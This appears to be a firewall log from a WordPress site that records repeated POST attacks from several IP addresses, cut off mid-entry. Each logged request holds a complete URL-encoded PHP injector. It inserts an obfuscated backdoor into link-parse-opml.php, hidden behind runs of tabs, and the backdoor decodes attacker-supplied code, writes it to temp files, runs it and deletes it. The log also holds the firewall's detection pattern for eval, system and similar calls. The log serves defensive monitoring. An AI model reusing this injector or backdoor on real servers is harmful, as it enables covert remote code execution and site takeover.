3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMKNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nupgrade-insecure-requests:1\n\nep=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-parse-opml.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx69tem%2522%255D%2529%2529%257B%2520%2524holder%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx69tem%2522%255D%253B%2520%2524entry%2520%253Dexplode%2520%2528%2520%2527.%2527%252C%2520%2524entry%2520%2529%2520%253B%2520%2524pset%253D%2520%2527%2527%253B%2520%2524salt%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524salt%2529%253B%2520%2524len%253D%2520count%2528%2524entry%2529%253B%2520for%2520%2528%2524n%253D%25200%253B%2520%2524n%253C%2524len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v6%253D%2520%2524entry%255B%2524n%255D%253B%2520%2524sChar%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E45%253B%2520%2524pset%2520.%253D%2520chr%2528%2524dec%2529%253B%257D%2520foreach%2520%2528%2524holder%2520as%2520%2524ent%2529%253A%2520if%2520%2528%2528is_dir%2528%2524ent%2529%2520and%2520is_writable%2528%2524ent%2529%2529%2529%2520%257B%2520%2524elem%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524ent%2529%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524pset%2529%2529%2520%257B%2520require%2520%2524elem%253B%2520unlink%2528%2524elem%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:03:55","78.142.18.172","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-parse-opml.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx69tem%2522%255D%2529%2529%257B%2520%2524holder%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx69tem%2522%255D%253B%2520%2524entry%2520%253Dexplode%2520%2528%2520%2527.%2527%252C%2520%2524entry%2520%2529%2520%253B%2520%2524pset%253D%2520%2527%2527%253B%2520%2524salt%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524salt%2529%253B%2520%2524len%253D%2520count%2528%2524entry%2529%253B%2520for%2520%2528%2524n%253D%25200%253B%2520%2524n%253C%2524len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v6%253D%2520%2524entry%255B%2524n%255D%253B%2520%2524sChar%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E45%253B%2520%2524pset%2520.%253D%2520chr%2528%2524dec%2529%253B%257D%2520foreach%2520%2528%2524holder%2520as%2520%2524ent%2529%253A%2520if%2520%2528%2528is_dir%2528%2524ent%2529%2520and%2520is_writable%2528%2524ent%2529%2529%2529%2520%257B%2520%2524elem%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524ent%2529%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524pset%2529%2529%2520%257B%2520require%2520%2524elem%253B%2520unlink%2528%2524elem%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-length:4249\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqxjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nupgrade-insecure-requests:1\n\nvL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-parse-opml.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx69tem%2522%255D%2529%2529%257B%2520%2524holder%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx69tem%2522%255D%253B%2520%2524entry%2520%253Dexplode%2520%2528%2520%2527.%2527%252C%2520%2524entry%2520%2529%2520%253B%2520%2524pset%253D%2520%2527%2527%253B%2520%2524salt%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524salt%2529%253B%2520%2524len%253D%2520count%2528%2524entry%2529%253B%2520for%2520%2528%2524n%253D%25200%253B%2520%2524n%253C%2524len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v6%253D%2520%2524entry%255B%2524n%255D%253B%2520%2524sChar%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E45%253B%2520%2524pset%2520.%253D%2520chr%2528%2524dec%2529%253B%257D%2520foreach%2520%2528%2524holder%2520as%2520%2524ent%2529%253A%2520if%2520%2528%2528is_dir%2528%2524ent%2529%2520and%2520is_writable%2528%2524ent%2529%2529%2529%2520%257B%2520%2524elem%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524ent%2529%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524pset%2529%2529%2520%257B%2520require%2520%2524elem%253B%2520unlink%2528%2524elem%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:04:04","185.98.128.239","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ee:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-parse-opml.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx69tem%2522%255D%2529%2529%257B%2520%2524holder%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx69tem%2522%255D%253B%2520%2524entry%2520%253Dexplode%2520%2528%2520%2527.%2527%252C%2520%2524entry%2520%2529%2520%253B%2520%2524pset%253D%2520%2527%2527%253B%2520%2524salt%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524salt%2529%253B%2520%2524len%253D%2520count%2528%2524entry%2529%253B%2520for%2520%2528%2524n%253D%25200%253B%2520%2524n%253C%2524len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v6%253D%2520%2524entry%255B%2524n%255D%253B%2520%2524sChar%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E45%253B%2520%2524pset%2520.%253D%2520chr%2528%2524dec%2529%253B%257D%2520foreach%2520%2528%2524holder%2520as%2520%2524ent%2529%253A%2520if%2520%2528%2528is_dir%2528%2524ent%2529%2520and%2520is_writable%2528%2524ent%2529%2529%2529%2520%257B%2520%2524elem%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524ent%2529%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524pset%2529%2529%2520%257B%2520require%2520%2524elem%253B%2520unlink%2528%2524elem%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-length:4249\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMJHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nupgrade-insecure-requests:1\n\nee=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-parse-opml.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx69tem%2522%255D%2529%2529%257B%2520%2524holder%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx69tem%2522%255D%253B%2520%2524entry%2520%253Dexplode%2520%2528%2520%2527.%2527%252C%2520%2524entry%2520%2529%2520%253B%2520%2524pset%253D%2520%2527%2527%253B%2520%2524salt%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524salt%2529%253B%2520%2524len%253D%2520count%2528%2524entry%2529%253B%2520for%2520%2528%2524n%253D%25200%253B%2520%2524n%253C%2524len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v6%253D%2520%2524entry%255B%2524n%255D%253B%2520%2524sChar%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E45%253B%2520%2524pset%2520.%253D%2520chr%2528%2524dec%2529%253B%257D%2520foreach%2520%2528%2524holder%2520as%2520%2524ent%2529%253A%2520if%2520%2528%2528is_dir%2528%2524ent%2529%2520and%2520is_writable%2528%2524ent%2529%2529%2529%2520%257B%2520%2524elem%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524ent%2529%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524pset%2529%2529%2520%257B%2520require%2520%2524elem%253B%2520unlink%2528%2524elem%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:04:07","208.181.135.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-parse-opml.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx69tem%2522%255D%2529%2529%257B%2520%2524holder%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx69tem%2522%255D%253B%2520%2524entry%2520%253Dexplode%2520%2528%2520%2527.%2527%252C%2520%2524entry%2520%2529%2520%253B%2520%2524pset%253D%2520%2527%2527%253B%2520%2524salt%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524salt%2529%253B%2520%2524len%253D%2520count%2528%2524entry%2529%253B%2520for%2520%2528%2524n%253D%25200%253B%2520%2524n%253C%2524len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v6%253D%2520%2524entry%255B%2524n%255D%253B%2520%2524sChar%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E45%253B%2520%2524pset%2520.%253D%2520chr%2528%2524dec%2529%253B%257D%2520foreach%2520%2528%2524holder%2520as%2520%2524ent%2529%253A%2520if%2520%2528%2528is_dir%2528%2524ent%2529%2520and%2520is_writable%2528%2524ent%2529%2529%2529%2520%257B%2520%2524elem%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524ent%2529%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524pset%2529%2529%2520%257B%2520require%2520%2524elem%253B%2520unlink%2528%2524elem%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4272\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\naccept:*\/*\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google 